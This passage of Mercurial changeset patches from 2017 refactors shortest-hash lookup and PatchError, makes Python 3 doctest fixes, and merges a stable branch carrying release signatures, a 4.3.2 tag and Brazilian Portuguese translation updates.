+            else:
+                length += 1
+                if len(shortest) <= length:
+                    return shortest
+
     def cmp(self, node, text):
         """compare text with a given file revision
 
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1023,41 +1023,7 @@
     # which would be unacceptably slow. so we look for hash collision in
     # unfiltered space, which means some hashes may be slightly longer.
     cl = mapping['ctx']._repo.unfiltered().changelog
-    def isvalid(test):
-        try:
-            if cl._partialmatch(test) is None:
-                return False
-
-            try:
-                i = int(test)
-                # if we are a pure int, then starting with zero will not be
-                # confused as a rev; or, obviously, if the int is larger than
-                # the value of the tip rev
-                if test[0] == '0' or i > len(cl):
-                    return True
-                return False
-            except ValueError:
-                return True
-        except error.RevlogError:
-            return False
-        except error.WdirUnsupported:
-            # single 'ff...' match
-            return True
-
-    shortest = node
-    startlength = max(6, minlength)
-    length = startlength
-    while True:
-        test = node[:length]
-        if isvalid(test):
-            shortest = test
-            if length == minlength or length > startlength:
-                return shortest
-            length -= 1
-        else:
-            length += 1
-            if len(shortest) <= length:
-                return shortest
+    return cl.shortest(node, minlength)
 
 @templatefunc('strip(text[, chars])')
 def strip(context, mapping, args):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504424733 -32400
#      Sun Sep 03 16:45:33 2017 +0900
# Node ID 61714510220dace22e16ab4e958ce5ed2ec06232
# Parent  448725a2ef7356524bcc9638a5c5eaaf59f263af
error: move patch.PatchError so it can easily implement __bytes__ (API)

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -278,7 +278,7 @@
         # 1. filter patch, since we are intending to apply subset of it
         try:
             chunks, newopts = filterfn(ui, originalchunks)
-        except patch.PatchError as err:
+        except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
         opts.update(newopts)
 
@@ -360,7 +360,7 @@
                     ui.debug('applying patch\n')
                     ui.debug(fp.getvalue())
                     patch.internalpatch(ui, repo, fp, 1, eolmode=None)
-                except patch.PatchError as err:
+                except error.PatchError as err:
                     raise error.Abort(str(err))
             del fp
 
@@ -1334,7 +1334,7 @@
             try:
                 patch.patch(ui, repo, tmpname, strip=strip, prefix=prefix,
                             files=files, eolmode=None, similarity=sim / 100.0)
-            except patch.PatchError as e:
+            except error.PatchError as e:
                 if not partial:
                     raise error.Abort(str(e))
                 if partial:
@@ -1380,7 +1380,7 @@
                 try:
                     patch.patchrepo(ui, repo, p1, store, tmpname, strip, prefix,
                                     files, eolmode=None)
-                except patch.PatchError as e:
+                except error.PatchError as e:
                     raise error.Abort(str(e))
                 if opts.get('exact'):
                     editor = None
@@ -3729,7 +3729,7 @@
             if reversehunks:
                 chunks = patch.reversehunks(chunks)
 
-        except patch.PatchError as err:
+        except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
 
         newlyaddedandmodifiedfiles = newandmodified(chunks, originalchunks)
@@ -3751,7 +3751,7 @@
         if dopatch:
             try:
                 patch.internalpatch(repo.ui, repo, fp, 1, eolmode=None)
-            except patch.PatchError as err:
+            except error.PatchError as err:
                 raise error.Abort(str(err))
         del fp
     else:
diff --git a/mercurial/error.py b/mercurial/error.py
--- a/mercurial/error.py
+++ b/mercurial/error.py
@@ -115,6 +115,9 @@
     """Raised when parsing config files and {rev,file}sets (msg[, pos])"""
     __bytes__ = _tobytes
 
+class PatchError(Exception):
+    __bytes__ = _tobytes
+
 class UnknownIdentifier(ParseError):
     """Exception raised when a {rev,file}set references an unknown identifier"""
 
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -46,9 +46,7 @@
 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
 tabsplitter = re.compile(br'(\t+|[^\t]+)')
 
-class PatchError(Exception):
-    pass
-
+PatchError = error.PatchError
 
 # public functions
 
diff --git a/tests/test-transplant.t b/tests/test-transplant.t
--- a/tests/test-transplant.t
+++ b/tests/test-transplant.t
@@ -884,7 +884,7 @@
 
   $ cat > $TESTTMP/abort.py <<EOF
   > # emulate that patch.patch() is aborted at patching on "abort" file
-  > from mercurial import extensions, patch as patchmod
+  > from mercurial import error, extensions, patch as patchmod
   > def patch(orig, ui, repo, patchname,
   >           strip=1, prefix='', files=None,
   >           eolmode='strict', similarity=0):
@@ -894,7 +894,7 @@
   >         strip=strip, prefix=prefix, files=files,
   >         eolmode=eolmode, similarity=similarity)
   >     if 'abort' in files:
-  >         raise patchmod.PatchError('intentional error while patching')
+  >         raise error.PatchError('intentional error while patching')
   >     return r
   > def extsetup(ui):
   >     extensions.wrapfunction(patchmod, 'patch', patch)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505618435 -32400
#      Sun Sep 17 12:20:35 2017 +0900
# Node ID c43d055ae405f71d112a838a669950bcb35acd89
# Parent  61714510220dace22e16ab4e958ce5ed2ec06232
py3: stop using bytes[n] in patch.py

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -960,8 +960,8 @@
 
     def countchanges(self, hunk):
         """hunk -> (n+,n-)"""
-        add = len([h for h in hunk if h[0] == '+'])
-        rem = len([h for h in hunk if h[0] == '-'])
+        add = len([h for h in hunk if h.startswith('+')])
+        rem = len([h for h in hunk if h.startswith('-')])
         return add, rem
 
     def reversehunk(self):
@@ -972,7 +972,7 @@
         unchanged.
         """
         m = {'+': '-', '-': '+', '\\': '\\'}
-        hunk = ['%s%s' % (m[l[0]], l[1:]) for l in self.hunk]
+        hunk = ['%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
         return recordhunk(self.header, self.toline, self.fromline, self.proc,
                           self.before, hunk, self.after)
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505618596 -32400
#      Sun Sep 17 12:23:16 2017 +0900
# Node ID 5ce32fe7df349503fb6be871cee472de71fc7ab1
# Parent  c43d055ae405f71d112a838a669950bcb35acd89
py3: fix doctests in patch.py to be compatible with Python 3

We were lucky that parsepatch() could concatenate a character slice as if
it were a list of chunks.

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -1490,7 +1490,7 @@
     ...  5
     ...  d
     ... +lastline"""
-    >>> hunks = parsepatch(rawpatch)
+    >>> hunks = parsepatch([rawpatch])
     >>> hunkscomingfromfilterpatch = []
     >>> for h in hunks:
     ...     hunkscomingfromfilterpatch.append(h)
@@ -1501,7 +1501,7 @@
     >>> fp = util.stringio()
     >>> for c in reversedhunks:
     ...      c.write(fp)
-    >>> fp.seek(0)
+    >>> fp.seek(0) or None
     >>> reversedpatch = fp.read()
     >>> print(pycompat.sysstr(reversedpatch))
     diff --git a/folder1/g b/folder1/g
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -57,7 +57,7 @@
 testmod('mercurial.match')
 testmod('mercurial.mdiff')
 testmod('mercurial.minirst')
-testmod('mercurial.patch', py3=False)  # py3: bytes[n], etc. ?
+testmod('mercurial.patch')
 testmod('mercurial.pathutil', py3=False)  # py3: os.sep
 testmod('mercurial.parser')
 testmod('mercurial.pycompat')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505618802 -32400
#      Sun Sep 17 12:26:42 2017 +0900
# Node ID cd022a11ec8370356b1a3e0e718e32579ae74204
# Parent  5ce32fe7df349503fb6be871cee472de71fc7ab1
py3: use bytes os.sep in doctest of pathutil.py

diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -203,9 +203,9 @@
 
     See also issue3033 for detail about need of this function.
 
-    >>> normasprefix(b'/foo/bar').replace(os.sep, b'/')
+    >>> normasprefix(b'/foo/bar').replace(pycompat.ossep, b'/')
     '/foo/bar/'
-    >>> normasprefix(b'/').replace(os.sep, b'/')
+    >>> normasprefix(b'/').replace(pycompat.ossep, b'/')
     '/'
     '''
     d, p = os.path.splitdrive(path)
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -58,7 +58,7 @@
 testmod('mercurial.mdiff')
 testmod('mercurial.minirst')
 testmod('mercurial.patch')
-testmod('mercurial.pathutil', py3=False)  # py3: os.sep
+testmod('mercurial.pathutil')
 testmod('mercurial.parser')
 testmod('mercurial.pycompat')
 testmod('mercurial.revsetlang')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505619554 -32400
#      Sun Sep 17 12:39:14 2017 +0900
# Node ID d6af8da4a3b87fdfd21301c44badd7c8443a2d08
# Parent  cd022a11ec8370356b1a3e0e718e32579ae74204
py3: rewrite stdout hack of doctest by using ui.pushbuffer()

We can't use pycompat.stdout here because the doctest runner replaces
sys.stdout with a string buffer.

diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -45,9 +45,12 @@
 ...     import sys
 ...     from . import ui as uimod
 ...     ui = uimod.ui()
-...     ui.fout = sys.stdout  # redirect to doctest
 ...     ui.verbose = verbose
-...     return fn(ui, ui.formatter(fn.__name__, opts))
+...     ui.pushbuffer()
+...     try:
+...         return fn(ui, ui.formatter(fn.__name__, opts))
+...     finally:
+...         print(pycompat.sysstr(ui.popbuffer()), end='')
 
 Basic example:
 
@@ -101,7 +104,7 @@
 baz: foo, bar
 """
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import collections
 import contextlib
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505619593 -32400
#      Sun Sep 17 12:39:53 2017 +0900
# Node ID ebe3d0095c694e0bff167da84c0d14fb6d4ad9ac
# Parent  d6af8da4a3b87fdfd21301c44badd7c8443a2d08
py3: convert system strings to bytes in doctest of formatter.py

diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -48,7 +48,8 @@
 ...     ui.verbose = verbose
 ...     ui.pushbuffer()
 ...     try:
-...         return fn(ui, ui.formatter(fn.__name__, opts))
+...         return fn(ui, ui.formatter(pycompat.sysbytes(fn.__name__),
+...                   pycompat.byteskwargs(opts)))
 ...     finally:
 ...         print(pycompat.sysstr(ui.popbuffer()), end='')
 
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -51,7 +51,7 @@
 testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
 testmod('mercurial.dispatch')
 testmod('mercurial.encoding')
-testmod('mercurial.formatter', py3=False)  # py3: write bytes to stdout
+testmod('mercurial.formatter')
 testmod('mercurial.hg')
 testmod('mercurial.hgweb.hgwebdir_mod', py3=False)  # py3: repr(bytes) ?
 testmod('mercurial.match')
# HG changeset patch
# User Kevin Bullock <kbullock+mercurial@ringworld.org>
# Date 1505761940 18000
#      Mon Sep 18 14:12:20 2017 -0500
# Node ID 2844c4bd5a398aaa78114d02f6a6a876898cb910
# Parent  ebe3d0095c694e0bff167da84c0d14fb6d4ad9ac
# Parent  fa4b3b666ca798f0258147813f53809294a95144
merge with stable

diff --git a/.hgsigs b/.hgsigs
--- a/.hgsigs
+++ b/.hgsigs
@@ -150,3 +150,4 @@
 5544af8622863796a0027566f6b646e10d522c4c 0 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
+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
diff --git a/.hgtags b/.hgtags
--- a/.hgtags
+++ b/.hgtags
@@ -163,3 +163,4 @@
 5544af8622863796a0027566f6b646e10d522c4c 4.3
 943c91326b23954e6e1c6960d0239511f9530258 4.2.3
 3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
+920977f72c7b70acfdaf56ab35360584d7845827 4.3.2
diff --git a/i18n/pt_BR.po b/i18n/pt_BR.po
--- a/i18n/pt_BR.po
+++ b/i18n/pt_BR.po
@@ -32,17 +32,17 @@
 msgstr ""
 "Project-Id-Version: Mercurial\n"
 "Report-Msgid-Bugs-To: <mercurial-devel@mercurial-scm.org>\n"
-"POT-Creation-Date: 2017-05-30 16:52-0300\n"
-"PO-Revision-Date: 2017-05-31 20:38-0300\n"
 "Last-Translator: Wagner Bruna <wbruna@softwareexpress.com.br>\n"
 "Language-Team: Brazilian Portuguese <>\n"
+"POT-Creation-Date: 2017-07-31 12:15-0300\n"
+"PO-Revision-Date: 2017-07-31 12:13-0300\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
 "Generated-By: pygettext.py 1.5\n"
 "Language: pt_BR\n"
 "Plural-Forms: nplurals=2; plural=(n != 1);\n"
-"X-Generator: Lokalize 1.5\n"
+"X-Generator: Lokalize 2.0\n"
 
 msgid "VALUE"
 msgstr "VALOR"
@@ -504,6 +504,49 @@
 msgid "acl: user \"%s\" not allowed on \"%s\" (changeset \"%s\")"
 msgstr "acl: o acesso do usuário \"%s\" a \"%s\" não foi permitido (revisão \"%s\")"
 
+msgid "provide the amend command (EXPERIMENTAL)"
+msgstr "fornece o comando amend (EXPERIMENTAL)"
+
+msgid ""
+"This extension provides an ``amend`` command that is similar to\n"
+"``commit --amend`` but does not prompt an editor.\n"
+msgstr ""
+"Esta extensão fornece um comando ``amend``, similar ao comando\n"
+"``commit --amend`` mas não abre um editor.\n"
+
+msgid "mark new/missing files as added/removed before committing"
+msgstr ""
+"marca arquivos novos/ausentes como adicionados/removidos antes da "
+"consolidação"
+
+msgid "invoke editor on commit messages"
+msgstr "chama um editor para mensagens de consolidação"
+
+msgid "use interactive mode"
+msgstr "use o modo interativo"
+
+msgid "[OPTION]... [FILE]..."
+msgstr "[OPÇÃO]... [ARQUIVO]..."
+
+msgid ""
+"amend the working copy parent with all or specified outstanding changes"
+msgstr "emenda a cópia de trabalho com as mudanças pendentes pedidas"
+
+msgid ""
+"    Similar to :hg:`commit --amend`, but reuse the commit message without\n"
+"    invoking editor, unless ``--edit`` was set."
+msgstr ""
+"    Similar a :hg:`commit --amend`, mas reusa a mensagem de\n"
+"    consolidação sem invocar um editor (a não ser que ``--edit``\n"
+"    seja definida)."
+
+msgid ""
+"    See :hg:`help commit` for more details.\n"
+"    "
+msgstr ""
+"    Veja :hg:`help commit` para mais detalhes.\n"
+"    "
+
 msgid "check for unrecorded moves at commit time (EXPERIMENTAL)"
 msgstr ""
 "testa por renomeações não registradas no momento da consolidação "
@@ -1799,7 +1842,7 @@
 "Manifests can contain multiple entries. Assuming metadata is defined, clients\n"
 "will filter entries from the manifest that they don't support. The remaining\n"
 "entries are optionally sorted by client preferences\n"
-"(``experimental.clonebundleprefers`` config option). The client then attempts\n"
+"(``ui.clonebundleprefers`` config option). The client then attempts\n"
 "to fetch the bundle at the first URL in the remaining list."
 msgstr ""
 
@@ -1829,26 +1872,22 @@
 "Mercurial server when the bundle hosting service fails.\n"
 msgstr ""
 
-msgid "enable Mercurial color mode (DEPRECATED)"
-msgstr "habilita o modo de coloração do Mercurial (OBSOLETO)"
-
-msgid ""
-"This extension enables Mercurial color mode. The feature is now directly\n"
-"available in Mercurial core. You can access it using::"
-msgstr ""
-"Esta extensão habilita o modo de coloração do Mercurial. Essa\n"
-"funcionalidade foi integrada à funcionalidade básica do Mercurial.\n"
-"Você pode acessá-la usando::"
-
-msgid ""
-"  [ui]\n"
-"  color = auto"
-msgstr ""
-"  [ui]\n"
-"  color = auto"
-
-msgid "See :hg:`help color` for details.\n"
-msgstr "Veja :hg:`help color` para mais detalhes.\n"
+msgid "adds a new flag extras to commit (ADVANCED)"
+msgstr "adiciona uma nova opção \"extras\" ao comando commit (AVANÇADO)"
+
+msgid "KEY=VALUE"
+msgstr "CHAVE=VALOR"
+
+msgid "set a changeset's extra values"
+msgstr "define os valores extras de uma revisão"
+
+#, python-format
+msgid "unable to parse '%s', should follow KEY=VALUE format"
+msgstr "incapaz de decodificar '%s', deveria usar o formato CHAVE=VALOR"
+
+#, python-format
+msgid "key '%s' is used internally, can't be set manually"
+msgstr "a chave '%s' é usada internamente, não pode ser definida manualmente"
 
 msgid "import revisions from foreign VCS repositories into Mercurial"
 msgstr "importa revisões de repositórios de outros sistemas para o Mercurial"
@@ -2166,13 +2205,13 @@
 msgid ""
 "    where \"original_branch_name\" is the name of the branch in the\n"
 "    source repository, and \"new_branch_name\" is the name of the branch\n"
-"    is the destination repository. No whitespace is allowed in the\n"
-"    branch names. This can be used to (for instance) move code in one\n"
+"    is the destination repository. No whitespace is allowed in the new\n"
+"    branch name. This can be used to (for instance) move code in one\n"
 "    repository from \"default\" to a named branch."
 msgstr ""
 "    onde \"nome_ramo_original\" é o nome do ramo no repositório de\n"
 "    origem, e \"nome_novo_ramo\" é o nome do ramo no repositório de\n"
-"    destino. Espaços em branco não são suportados nos nomes de ramo.\n"
+"    destino. Espaços em branco não são suportados no novo nome de ramo.\n"
 "    Isto pode ser usado para por exemplo mover código em um\n"
 "    repositório de \"default\" para um ramo nomeado."
 
@@ -2274,6 +2313,22 @@
 "        padrão pode não ser suficiente. O valor padrão é 60."
 
 msgid ""
+"    :convert.cvsps.logencoding: Specify encoding name to be used for\n"
+"        transcoding CVS log messages. Multiple encoding names can be\n"
+"        specified as a list (see :hg:`help config.Syntax`), but only\n"
+"        the first acceptable encoding in the list is used per CVS log\n"
+"        entries. This transcoding is executed before cvslog hook below."
+msgstr ""
+"    :convert.cvsps.logencoding: Especifica o nome da codificação\n"
+"        usada para converter mensagens de log do CVS.\n"
+"        Múltiplos nomes de codificação podem ser especificados como\n"
+"        uma lista (veja a sintaxe em :hg:`help config.Syntax`), mas\n"
+"        apenas a primeira codificação aceitável na lista será usada\n"
+"        por entrada do log do CVS.\n"
+"        Esta trans-codificação é executada antes do gancho\n"
+"        cvslog abaixo."
+
+msgid ""
 "    :convert.cvsps.mergeto: Specify a regular expression to which\n"
 "        commit log messages are matched. If a match occurs, then the\n"
 "        conversion process will insert a dummy revision merging the\n"
@@ -3037,6 +3092,15 @@
 msgid "%d log entries\n"
 msgstr "%d entradas de log\n"
 
+msgid "check convert.cvsps.logencoding configuration"
+msgstr "verifique a configuração convert.cvsps.logencoding"
+
+#, python-format
+msgid "no encoding can transcode CVS log message for %s of %s"
+msgstr ""
+"nenhuma codificação pode trans-codificar a mensagem de log do CVS log "
+"message para %s de %s"
+
 msgid "creating changesets\n"
 msgstr "criando revisões\n"
 
@@ -3977,9 +4041,6 @@
 msgid "a specific revision you would like to pull"
 msgstr "uma revisão específica que você gostaria de trazer"
 
-msgid "invoke editor on commit messages"
-msgstr "chama um editor para mensagens de consolidação"
-
 msgid "edit commit message (DEPRECATED)"
 msgstr "editar mensagem de consolidação (OBSOLETO)"
 
@@ -4221,10 +4282,6 @@
 msgstr ""
 "A extensão fsmonitor é incompatível com a extensão %s e foi desabilitada.\n"
 
-#, python-format
-msgid "type '%s' has no property '%s'"
-msgstr "o tipo '%s' não tem a propriedade '%s'"
-
 msgid "warning: unable to write out fsmonitor state\n"
 msgstr "aviso: incapaz de escrever o estado da fsmonitor\n"
 
@@ -5388,10 +5445,6 @@
 msgstr "use \"drop %s\" para descartar, veja também: 'hg help -e histedit.config'"
 
 #, python-format
-msgid "histedit: moving bookmarks %s from %s to %s\n"
-msgstr "histedit: movendo marcadores %s de %s para %s\n"
-
-#, python-format
 msgid "histedit in progress, can't strip %s"
 msgstr "edição de histórico em andamento, não é possível remover %s"
 
@@ -8772,6 +8825,9 @@
 msgid "send changes not in target as a binary bundle"
 msgstr "envia mudanças que não estão no alvo como um bundle binário"
 
+msgid "send changes only reachable by given bookmark"
+msgstr "envia revisões alcançáveis apenas pelo marcador dado"
+
 msgid "name of the bundle attachment file"
 msgstr "nome do arquivo bundle anexado"
 
@@ -8852,6 +8908,13 @@
 "    ou -i/--inline com a opção --body."
 
 msgid ""
+"    With -B/--bookmark changesets reachable by the given bookmark are\n"
+"    selected."
+msgstr ""
+"    Com -B/--bookmark, são selecionadas as revisões alcançáveis\n"
+"    pelo marcador pedido."
+
+msgid ""
 "    With -o/--outgoing, emails will be generated for patches not found\n"
 "    in the destination repository (or only those which are ancestors\n"
 "    of the specified revisions if any are provided)"
@@ -8940,6 +9003,12 @@
 "                                # presentes em DEST"
 
 msgid ""
+"      hg email -B feature       # send all ancestors of feature bookmark"
+msgstr ""
+"      hg email -B feature       # envia todos os ancestrais do\n"
+"                                # marcador \"feature\""
+
+msgid ""
 "      hg email -b               # send bundle of all patches not in default\n"
 "      hg email -b DEST          # send bundle of all patches not in DEST\n"
 "      hg email -b -r 3000       # bundle of all ancestors of 3000 not in default\n"
@@ -8976,13 +9045,16 @@
 "    seu hgrc. Veja a seção [email] em hgrc(5) para mais detalhes.\n"
 "    "
 
-msgid "specify at least one changeset with -r or -o"
-msgstr "especifique ao menos uma revisão com -r ou -o"
+msgid "specify at least one changeset with -B, -r or -o"
+msgstr "especifique ao menos uma revisão com -B, -r ou -o"
 
 msgid "--outgoing mode always on with --bundle; do not re-specify --outgoing"
 msgstr ""
 "modo é sempre --outgoing com --bundle; não especifique --outgoing novamente"
 
+msgid "-r and -B are mutually exclusive"
+msgstr "opções -r e -B são mutuamente exclusivas"
+
 msgid "too many destinations"
 msgstr "muitos destinos"
 
@@ -8990,6 +9062,10 @@
 msgstr "use apenas uma forma de especificar a revisão"
 
 #, python-format
+msgid "bookmark '%s' not found"
+msgstr "marcador '%s' não encontrado"
+
+#, python-format
 msgid "unable to access public repo: %s\n"
 msgstr "incapaz de acessar repositório público: %s\n"
 
@@ -9200,6 +9276,10 @@
 msgstr "não é possível colapsar múltiplos ramos nomeados"
 
 #, python-format
+msgid "already rebased %s\n"
+msgstr "revisão %s já rebaseada\n"
+
+#, python-format
 msgid "rebasing %s\n"
 msgstr "rebaseando %s\n"
 
@@ -9472,6 +9552,28 @@
 "      [commands]\n"
 "      rebase.requiredest = True"
 
+msgid ""
+"    By default, rebase will close the transaction after each commit. For\n"
+"    performance purposes, you can configure rebase to use a single transaction\n"
+"    across the entire rebase. WARNING: This setting introduces a significant\n"
+"    risk of losing the work you've done in a rebase if the rebase aborts\n"
+"    unexpectedly::"
+msgstr ""
+"    Por padrão, o comando rebase fechará a transação após cada\n"
+"    consolidação.\n"
+"    Por questões de desempenho, você pode configurar o comando\n"
+"    para usar uma única transação ao longo de toda a operação.\n"
+"    CUIDADO: essa configuração introduz um risco significativo\n"
+"    de perda de trabalho se a operação rebase abortar\n"
+"    inesperadamente::"
+
+msgid ""
+"      [rebase]\n"
+"      singletransaction = True"
+msgstr ""
+"      [rebase]\n"
+"      singletransaction = True"
+
 msgid "    Return Values:"
 msgstr "    Valores Retornados:"
 
@@ -9584,7 +9686,7 @@
 msgid "warning: can't clean up public changesets %s\n"
 msgstr "aviso: não é possível limpar as revisões públicas %s\n"
 
-msgid "warning: new changesets detected on target branch, can't strip\n"
+msgid "warning: new changesets detected on destination branch, can't strip\n"
 msgstr ""
 "aviso: novas revisões detectadas no ramo de destino, não é possível fazer "
 "strip\n"
@@ -9601,10 +9703,6 @@
 msgid "source is ancestor of destination"
 msgstr "origem é ancestral do destino"
 
-msgid "warning: new changesets detected on source branch, not stripping\n"
-msgstr ""
-"aviso: novas revisões detectadas no ramo de origem, strip não realizado\n"
-
 msgid "rebase destination required by configuration"
 msgstr "destino do rebase exigido pela configuração"
 
@@ -9746,6 +9844,262 @@
 msgid "interactively select changes to refresh"
 msgstr "seleciona interativamente alterações para atualização do patch"
 
+msgid "generate release notes from commit messages (EXPERIMENTAL)"
+msgstr ""
+"gera notas de liberação a partir de mensagens de consolidação (EXPERIMENTAL)"
+
+msgid ""
+"It is common to maintain files detailing changes in a project between\n"
+"releases. Maintaining these files can be difficult and time consuming.\n"
+"The :hg:`releasenotes` command provided by this extension makes the\n"
+"process simpler by automating it.\n"
+msgstr ""
+"É comum manter arquivos detalhando mudanças em um projeto\n"
+"realizadas entre versões liberadas.\n"
+"Manter tais arquivos pode ser difícil e consumir muito tempo.\n"
